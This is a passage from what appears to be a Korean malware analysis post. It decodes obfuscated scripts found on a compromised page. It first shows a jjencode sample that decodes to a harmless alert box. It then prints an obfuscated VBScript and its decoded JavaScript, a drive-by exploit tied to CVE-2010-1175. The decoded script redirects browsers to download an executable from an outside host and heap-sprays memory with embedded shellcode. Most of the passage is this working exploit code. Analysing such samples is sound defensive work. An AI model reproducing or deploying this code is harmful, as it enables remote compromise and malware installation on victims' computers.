#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;_\\\\_-_-_-_/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/____\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\______\\\\_________\u0026#34;+$.$__+$.___+\u0026#34;/\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#39;);\u0026#34;+\u0026#34;\u0026#34;\u0026#34;)())(); 난독화 되어 있는 코드를 디코딩 하면 아래와 같은 결과가 나옵니다.\n1 alert(\u0026#39; ___ ____ ____n ______/ __// __/_____n _/ _/ : //_____\\n /| : : .. / n || :: :: /n || :| || _____/n || || || | / |n | || || | / | n | || || | / /_ n | ____ || ______ || | / / n _-_ / _-_-_ / | ______ |/_/ n __-_-_-_/ /n /____ /n / /n _______________ /nnn \u0026#39;); 이 부분은 그냥 주먹 그림으로 추정되는 모양을 alert창을 띄우는 코드로 악성행위를 하진 않으며, 디코딩 방법은 아래 사이트에서 참고하시기 바랍니다.\njjencode 디코딩 참고 사이트 : http://www.kahusecurity.com/2013/jjencode-script-leads-to-drive-by/\nvbs 난독화 부분 (CVE-2010-1175) vbs 스크립트를 난독화 한 코드로 원본은 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;SCRIPT language=vbscript\u0026gt; wei=\u0026#34;มี\u0026gt;lmth/\u0026lt;\u0026gt;ydob/\u0026lt;\u0026gt;naps/\u0026lt;\u0026gt;\u0026#34;\u0026#34;)tneve(1ve\u0026#34;\u0026#34;=daolno \u0026#34;\u0026#34;fig.mw\u0026#34;\u0026#34;=CRS GMI\u0026lt;\u0026gt;\u0026#34;\u0026#34;1ps\u0026#34;\u0026#34;=di naps\u0026lt;มี\u0026gt;tpircs/\u0026lt;มีมี\u0026gt;tpircs/\u0026lt;มี}มี}++i;\u0026#34;\u0026#34; \u0026#34;\u0026#34;=sutats.wodniwมี{มี)01=\u0026lt;i(elihw;1=i ravมี;)\u0026#39;\u0026gt;NAPS/\u0026lt;\u0026gt;LMTH=SATAMROFATAD C=DLFATAD I#=CRSATAD NAPS\u0026lt;\u0026gt;LMX/\u0026lt;\u0026gt;I=DI LMX\u0026lt;\u0026gt;LMTH=SATAMROFATAD C=DLFATAD I#=CRSATAD NAPS\u0026lt;\u0026gt;lmx/\u0026lt;\u0026gt;X/\u0026lt;\u0026gt;C/\u0026lt;\u0026gt;]]\u0026gt;[ATADC[!\u0026lt;\u0026gt;]]\u0026#34;\u0026#34;exe.88psa/moc.22kwfhs.88dsa//:ptth\u0026#34;\u0026#34;=crs moc.koob.;411#\u0026amp;;0752#\u0026amp;;411#\u0026amp;//:ptth=CRS egami\u0026lt;[ATADC[!\u0026lt;\u0026gt;C\u0026lt;\u0026gt;X\u0026lt;\u0026gt;I=DI LMX\u0026lt;\u0026#39;(etirw.tnemucod)3k2w||pxw(fiมี;))1-=!)\u0026#39;px swodniw\u0026#39;(fOxedni.van(||)1-=!)\u0026#39;1.5 tn swodniw\u0026#39;(fOxedni.van((=pxwมี;))1-=!)\u0026#39;3002 swodniw\u0026#39;(fOxedni.van(||)1-=!)\u0026#39;2.5 tn swodniw\u0026#39;(fOxedni.van((=3k2wมี{มี)7==noisrev(fiมี}มี)]1[)\u0026#39;EISM\u0026#39;(tilps.noisreVppa.rotagivan(taolFesrap=noisrevมี{มี)1-=!)\u0026#39;EISM\u0026#39;(fOxedni.noisreVppa.rotagivan(fiมี;)(esaCrewoLot.tnegAresu.rotagivan=vanมีมี;)0003(peelsมีมี;)\u0026#34;\u0026#34;1200gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad9544gnodadF044gnodadA4E4gnodadF4E0gnodadE465gnodadE054gnodad24F4gnodad24F0gnodadA444gnodad0484gnodadF034gnodad6565gnodadE065gnodadB1E0gnodad5515gnodad9455gnodadEDEDgnodad74ADgnodad2E9CgnodadD304gnodad5650gnodad718Agnodad224Egnodad52AAgnodadF1AAgnodad22CFgnodadB7D3gnodadF1AAgnodadD2A6gnodadF1AAgnodadCF74gnodad5022gnodadAAB7gnodadEFF1gnodad9045gnodadD550gnodad71A1gnodadAC5Dgnodad229DgnodadEEC2gnodad620Egnodad1E55gnodadD85Agnodad1EDDgnodadED21gnodad4D21gnodadAA22gnodadAA51gnodad86F1gnodad2CA1gnodad22CFgnodadB710gnodadF1AAgnodadB693gnodadF1AAgnodad224Fgnodad4295gnodadAA57gnodadD171gnodadAA46gnodad5071gnodadD450gnodad71AAgnodad2E14gnodad16D1gnodadF1AAgnodad1ED5gnodad512AgnodadAA16gnodadA2F1gnodad2EACgnodad1692gnodadF1AAgnodadD3C8gnodadAA15gnodadD2F1gnodadAA16gnodad13F1gnodad1E95gnodad114AgnodadAA16gnodad1E54gnodad2E21gnodad5E92gnodad122Agnodad1212gnodad9CB0gnodadDC17gnodadF6F2gnodad94FAgnodad1212gnodadE212gnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CF1gnodad4217gnodadECE6gnodad94E6gnodadEDEDgnodad88CDgnodad2E9CgnodadEDEDgnodad9CEDgnodadED9CgnodadDDEDgnodad8C69gnodadEDEDgnodadA8FDgnodad179CgnodadEDEDgnodad6DADgnodad179CgnodadB444gnodadAC23gnodadEDEDgnodad56FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C35gnodad7317gnodadFD29gnodad9435gnodad1212gnodad6712gnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C7Agnodad2917gnodad504Egnodad9494gnodadEDEDgnodad36FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CBBgnodad2817gnodad8E3Cgnodad946BgnodadEDEDgnodad77FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CF8gnodad5B17gnodadA711gnodad941CgnodadEDEDgnodadB4FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C3Egnodad3217gnodadB5F3gnodad94B3gnodadEDEDgnodadF5FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C7FgnodadA917gnodad1849gnodad9467gnodadEDEDgnodad3BFDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CBCgnodad4117gnodad8DA9gnodad94FBgnodad1212gnodadEE12gnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CFDgnodad2517gnodad9F3Cgnodad94F5gnodad1212gnodad2C12gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C33gnodad3217gnodad6B0Agnodad9487gnodadEDEDgnodad68FDgnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C70gnodadF317gnodadF7ABgnodad94A8gnodadEDEDgnodad71EDgnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CB1gnodadAF17gnodad86C0gnodad9419gnodad1212gnodadE302gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CF6gnodad1417gnodadFE1Cgnodad94ECgnodad1212gnodad2102gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C34gnodadD317gnodad94AFgnodad9495gnodadEDEDgnodad6DFDgnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C75gnodadE717gnodadBA52gnodad941Dgnodad1212gnodadA702gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CBAgnodad7117gnodad77ECgnodad94CCgnodad1212gnodadE402gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CFBgnodadD517gnodadDDC2gnodad94B8gnodad1212gnodad2A02gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C39gnodadD217gnodad6B22gnodad94DCgnodad1212gnodad6B02gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C7Egnodad8517gnodad7E76gnodad94A3gnodad1212gnodadA802gnodad2E9Cgnodad5E52gnodadED2AgnodadEDEDgnodad9C7CgnodadEDEDgnodad36FDgnodad128Cgnodad0212gnodad9CB8gnodadED17gnodadCDEDgnodad9C3Agnodad5217gnodad5650gnodad43CAgnodad12ACgnodad6495gnodad9475gnodad922Egnodad2A5EgnodadEDEDgnodad7CEDgnodadED9CgnodadFDEDgnodad8C64gnodad1212gnodadEE02gnodad179CgnodadEDEDgnodad68CDgnodad179Cgnodad5052gnodadCA56gnodadAC43gnodad54E4gnodad2594gnodad1294gnodad7565gnodad9424gnodad922Egnodad2A5EgnodadEDEDgnodad7CEDgnodadED9CgnodadFDEDgnodad8C0Bgnodad1212gnodad8D02gnodad179CgnodadEDEDgnodad0FCDgnodad179Cgnodad5052gnodadCA56gnodadAC43gnodad4435gnodad4525gnodad1294gnodad3112gnodad9421gnodad922Egnodad2A5EgnodadEDEDgnodad7CEDgnodadED9CgnodadFDEDgnodad8CA9gnodad1212gnodad2032gnodad179CgnodadEDEDgnodadADCDgnodad179Cgnodad5052gnodadCA56gnodadAC43gnodad54D4gnodadF455gnodadD494gnodad2EB4gnodad5E92gnodadED2AgnodadEDEDgnodad9C7CgnodadEDEDgnodad3CFDgnodad128Cgnodad3212gnodad9CB6gnodadED17gnodadFDEDgnodad9C30gnodad5217gnodad5650gnodad43CAgnodadC4ACgnodad35D4gnodad9445gnodad1212gnodadE4F4gnodad2E94gnodad1212gnodad0212gnodadF799gnodad13E7gnodad2A5EgnodadED1Fgnodad1212gnodadEC02gnodadD39Cgnodad5550gnodadF1EDgnodadED12gnodad10F1gnodad5650gnodad71AAgnodad5592gnodadA19DgnodadED1Fgnodad1212gnodadAE02gnodad9D9Cgnodad1FAAgnodad12EDgnodad3212gnodad9C50gnodad5010gnodadED55gnodad12F1gnodadE0B4gnodad7845gnodad122Dgnodad1212gnodad8992gnodadAA5Dgnodad7635gnodad8646gnodad1294gnodadC444gnodad9404gnodadAADDgnodadED1Fgnodad1212gnodadC732gnodad539CgnodadED65gnodad67F1gnodadB492gnodadAADDgnodadDC92gnodad672AgnodadED77gnodadEDEDgnodad9C8Dgnodad972EgnodadAC32gnodadA72EgnodadF7E7gnodad1F97gnodad67EDgnodad21EDgnodad1212gnodadA232gnodadB29Cgnodad1265gnodadD150gnodad711AgnodadED1Fgnodad1212gnodad4732gnodad179Cgnodad1212gnodadF312gnodad579Cgnodad1E17gnodad7721gnodad2767gnodadEDEDgnodad9CFDgnodad1F9Cgnodad12EDgnodad1212gnodad94EDgnodad1212gnodadAD02gnodad1F9Cgnodad67EDgnodad21EDgnodad1212gnodad0632gnodadB29Cgnodad1265gnodadD150gnodad711AgnodadED1Fgnodad1212gnodadAA32gnodad179Cgnodad1212gnodad5712gnodad579Cgnodad1E17gnodadED21gnodadEDEDgnodad9CA3gnodadD212gnodad1A3Egnodad0252gnodad9903gnodadEDEDgnodad90EDgnodad2E9CgnodadEDEDgnodadF0EDgnodad1C9Cgnodad42EDgnodadCA16gnodadAADCgnodad7247gnodad1B55gnodad1B1Bgnodad421Bgnodad0A95gnodad45E2gnodad918Cgnodad9C1Agnodad1A91gnodadED1Fgnodad2727gnodad2727gnodad21AFgnodad1212gnodad6122gnodadED9CgnodadEDEDgnodad1814gnodad12CAgnodad1212gnodad0852gnodad1254gnodad1212gnodad9C83gnodad1212gnodad8122gnodad179Cgnodad1767gnodad1717gnodad1717gnodad2717gnodad1207gnodad1212gnodadD002gnodad6E26gnodad1EF1gnodad1321gnodad2A2EgnodadAA8FgnodadAADEgnodadAC3Dgnodad1E52gnodad022Agnodad8AD3gnodad82F1gnodad57C5gnodad2A9DgnodadAADEgnodad21AFgnodad211EgnodadDC57gnodad022Agnodad9A17gnodad3FF1gnodad3021gnodad7E12gnodad7DF1gnodad16ACgnodad5522gnodad5AAFgnodadBA93gnodad92F1gnodad2A1EgnodadAA6EgnodadAADDgnodadED1Fgnodad1212gnodad0E22gnodad179Cgnodad3727gnodad1212gnodad5202gnodad1794gnodad1E17gnodad9221gnodad2A3Egnodad1030gnodadE024gnodad3652gnodadF16Egnodad5410gnodad24C4gnodad6E32gnodad5FF1gnodad12AAgnodad0212gnodadDC53gnodadA70Agnodad1212gnodad4B52gnodad2E8CgnodadED1Cgnodad6642gnodadF16Egnodad0274gnodad8AE7gnodad99F1gnodad7E62gnodadA7F1gnodadE72Egnodad66EDgnodadF8CAgnodadDD3Dgnodad192Egnodad211Egnodad8E86gnodad9D21gnodad12AAgnodad5212gnodad9CD1gnodad2E67gnodad1297gnodad1212gnodad9CCEgnodad1212gnodad8B32gnodad679Cgnodad1212gnodad1213gnodad1094gnodad27B4gnodadAADFgnodad2E27gnodad1297gnodad1212gnodad9C4Cgnodad1212gnodad0932gnodad679Cgnodad1212gnodad1213gnodad1694gnodad27B4gnodadAADFgnodad9727gnodad12ACgnodad1212gnodad9CB3gnodad1212gnodad0402gnodad129Cgnodad1212gnodad9CD2gnodadAA9Dgnodad1212gnodad8A22gnodad129Cgnodad1212gnodad9C11gnodad1212gnodad5602gnodad129Cgnodad1212gnodad9C30gnodadAA9Dgnodad1212gnodadAF22gnodad129Cgnodad1212gnodad9C76gnodad1212gnodadC602gnodad129Cgnodad1212gnodad9C91gnodadAA9Dgnodad1212gnodadC122gnodadED9CgnodadEDEDgnodad9C7DgnodadED1Fgnodad2D58gnodad42F7gnodad9DACgnodad12AAgnodad1312gnodad8912gnodadED1FgnodadB412gnodad1212gnodad1210gnodad1294gnodad2212gnodad9C71gnodad2EAFgnodad1204gnodad0803gnodad56AFgnodad189Egnodad9C66gnodad3C13gnodadC130gnodadBD3Bgnodad8533gnodad8585gnodad4285gnodad9D43gnodad9D1Egnodad0909gnodad0909gnodad\u0026#34;\u0026#34;+1a+\u0026#34;\u0026#34;0909\u0026#34;\u0026#34;+1a(yarpsมี;\u0026#34;\u0026#34;gnodad\u0026#34;\u0026#34;=1a ravมีมี}มีlaVter nruterมี;)2/gnolzs,0(gnirtsbus.laVter=laVterมี}laVter=+laVter{มี)gnolzs\u0026lt;2*htgnel.laVter(elihwมี{มี)gnolzs,laVter(eulaVelpmaSteg noitcnufมีมี}มี}tcefni+laVter=]i[kcuhczz{)++i;klbaaa\u0026lt;i;0=i(rofมี;)(yarrA wen=kcuhczzมี;eziSkcolBpaeh/)000001x0-a0a0a0a0x0(=klbaaaมี;)gnolzs,laVter(eulaVelpmaSteg=laVterมี;)\u0026#34;\u0026#34;a0a0u%a0a0u%\u0026#34;\u0026#34;(epacsenu=laVter ravมี;)830x0+eziSdaoLyap(-eziSkcolBpaeh=gnolzs ravมี;2*htgnel.tcefni=eziSdaoLyap ravมี;000001x0=eziSkcolBpaeh ravมี;))\u0026#34;\u0026#34;57x52x\u0026#34;\u0026#34;,g/gnodad/(ecalper.cs(epacsenu=tcefni ravมี{มี)cs(yarps noitcnufมีมี}มี}มี}kaerb{มี)sdnocesillim\u0026gt;)trats-)(emiTteg.)(etaD wen((fi{มี)++i;7e1\u0026lt;i;0=i rav(rofมีมี;)(emiTteg.)(etaD wen=trats ravมี{มี)sdnocesillim(peels noitcnufมีมี;)\u0026#34;\u0026#34;exe.88psa/moc.22kwfhs.88dsa//:ptth\u0026#34;\u0026#34;(ecalper.noitacol)1-==)\u0026#34;\u0026#34;7 eism\u0026#34;\u0026#34;(fOxedni.)(esaCrewoLot.tnegAresu.rotagivan(fiมี\u0026gt;\u0026#34;\u0026#34;tpircsavaj\u0026#34;\u0026#34;=egaugnal tpircs\u0026lt;\u0026#34; function UnEncode(cc) for i = 1 to len(cc) if mid(cc,i,1)\u0026lt;\u0026gt;\u0026#34;มี\u0026#34; then temp = Mid(cc, i, 1) + temp else temp=vbcrlf\u0026amp;temp end if next UnEncode=temp end function document.write(UnEncode(wei)) \u0026lt;/SCRIPT\u0026gt; 위 코드를 난독화를 해제하면 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 \u0026lt;script language=\u0026#34;javascript\u0026#34;\u0026gt;if(navigator.userAgent.toLowerCase().indexOf(\u0026#34;msie 7\u0026#34;)==-1)location.replace(\u0026#34;http://asd88.shfwk22.com/asp88.exe\u0026#34;); function sleep(milliseconds) { var start=new Date().getTime(); for(var i=0;i\u0026lt;1e7;i++) { if((new Date().getTime()-start)\u0026gt;milliseconds) { break } } } function spray(sc) { var infect=unescape(sc.replace(/dadong/g,\u0026#34;x25x75\u0026#34;)); var heapBlockSize=0x100000; var payLoadSize=infect.length*2; var szlong=heapBlockSize-(payLoadSize+0x038); var retVal=unescape(\u0026#34;%u0a0a%u0a0a\u0026#34;); retVal=getSampleValue(retVal,szlong); aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize; zzchuck=new Array(); for(i=0;i\u0026lt;aaablk;i++) { zzchuck[i]=retVal+infect } } function getSampleValue(retVal,szlong) { while(retVal.length*2\u0026lt;szlong) { retVal+=retVal } retVal=retVal.substring(0,szlong/2); return retVal } var a1=\u0026#34;dadong\u0026#34;; spray(a1+\u0026#34;9090\u0026#34;+a1+\u0026#34;dadong9090dadong9090dadongE1D9dadong34D9dadong5824dadong5858dadong3358dadongB3DBdadong031Cdadong31C3dadong66C9dadongE981dadongFA65dadong3080dadong4021dadongFAE2dadong17C9dadong2122dadong4921dadong0121dadong2121dadong214BdadongF1DEdadong2198dadong2131dadongAA21dadongCAD9dadong7F24dadong85D2dadongF1DEdadongD7C9dadongDEDEdadongC9DEdadong221Cdadong2121dadongD9AAdadong19C9dadong2121dadongC921dadong206Cdadong2121dadong67C9dadong2121dadongC921dadong22FAdadong2121dadongD9AAdadong03C9dadong2121dadongC921dadong2065dadong2121dadong11C9dadong2121dadongC921dadong22A8dadong2121dadongD9AAdadong2DC9dadong2121dadongC921dadong2040dadong2121dadong3BC9dadong2121dadongCA21dadong7279dadongFDAAdadong4B72dadong4961dadong3121dadong2121dadongC976dadong2390dadong2121dadongC4C9dadong2121dadong7921dadong72E2dadongFDAAdadong4B72dadong4901dadong3121dadong2121dadongC976dadong23B8dadong2121dadongECC9dadong2121dadong7921dadong76E2dadong1DC9dadong2125dadongAA21dadong12D9dadong68E8dadongE112dadongE291dadongD3DDdadongAC8FdadongDE66dadongE27Edadong1F7Adadong26E7dadong1F99dadong7EA8dadong4720dadongE61Fdadong2466dadongC1DEdadongC8E2dadong25B4dadong2121dadongA07Adadong35CDdadong2120dadongAA21dadong1FF5dadong23E6dadong4C42dadong0145dadongE61Fdadong2563dadong420Edadong0301dadongE3A2dadong1229dadong71E1dadong4971dadong2025dadong2121dadong7273dadongC971dadong22E0dadong2121dadongF1DEdadongDDAAdadongE6AAdadongE1A2dadong1F29dadong39ABdadongFAA5dadong2255dadongCA61dadong1FD7dado